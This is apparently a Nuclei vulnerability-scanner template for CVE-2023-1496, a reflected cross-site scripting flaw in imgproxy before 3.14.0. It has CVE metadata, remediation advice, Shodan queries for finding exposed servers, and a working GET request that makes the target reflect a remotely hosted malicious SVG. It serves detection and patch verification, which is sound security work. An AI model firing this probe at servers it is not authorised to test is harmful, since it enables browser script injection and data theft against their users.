Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

id: CVE-2023-1496

info:
  name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
  author: pdteam
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
    - https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1496
    cwe-id: CWE-79
    epss-score: 0.00091
    epss-percentile: 0.39059
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians

http:
  - method: GET
    path:
      - "{{BaseURL}}/unsafe/plain/https://cve-2023-1496.s3.amazonaws.com/imgproxy_xss.svg"

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'PC9zdmc+#test')
          - status_code == 200
        condition: and

    extractors:
      - type: dsl
        dsl:
          - content_security_policy
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